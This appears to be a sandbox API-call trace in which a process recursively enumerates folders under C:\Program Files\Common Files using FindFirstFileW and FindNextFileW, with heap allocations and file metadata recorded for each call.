[0088.362] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0088.362] GetProcessHeap () returned 0x550000 [0088.362] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0088.363] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0088.704] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.705] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0088.705] GetProcessHeap () returned 0x550000 [0088.705] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0088.706] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0088.706] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.706] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0088.707] GetProcessHeap () returned 0x550000 [0088.707] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5fb100 [0088.707] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0088.707] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.707] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0088.707] GetProcessHeap () returned 0x550000 [0088.707] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x35d0048 [0088.708] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x2c9e698 | out: lpFindFileData=0x2c9e698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684370 [0088.709] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e698 | out: lpFindFileData=0x2c9e698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.709] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e698 | out: lpFindFileData=0x2c9e698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.709] FindClose (in: hFindFile=0x2684370 | out: hFindFile=0x2684370) returned 1 [0088.709] GetProcessHeap () returned 0x550000 [0088.709] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x35d0048 | out: hHeap=0x550000) returned 1 [0088.709] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0088.710] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0088.710] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0088.710] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0088.710] GetProcessHeap () returned 0x550000 [0088.710] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5fb100 | out: hHeap=0x550000) returned 1 [0088.710] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0088.710] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0088.711] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0088.711] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0088.711] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0088.711] GetProcessHeap () returned 0x550000 [0088.711] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0088.711] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0088.711] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0088.711] GetProcessHeap () returned 0x550000 [0088.711] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0088.714] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0088.714] FindClose (in: hFindFile=0x2684230 | out: hFindFile=0x2684230) returned 1 [0088.714] GetProcessHeap () returned 0x550000 [0088.714] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0088.715] FindNextFileW (in: hFindFile=0x26841f0, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0088.715] GetProcessHeap () returned 0x550000 [0088.715] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0088.715] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684230 [0089.090] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.091] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0089.091] GetProcessHeap () returned 0x550000 [0089.091] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0089.092] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0089.096] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.096] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0089.097] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0089.097] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.097] GetProcessHeap () returned 0x550000 [0089.097] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0089.098] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0089.098] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.098] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0089.099] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0089.099] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0089.099] GetProcessHeap () returned 0x550000 [0089.099] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0089.099] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0089.099] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0089.099] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0089.100] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0089.100] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0089.100] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0089.100] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0089.100] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: 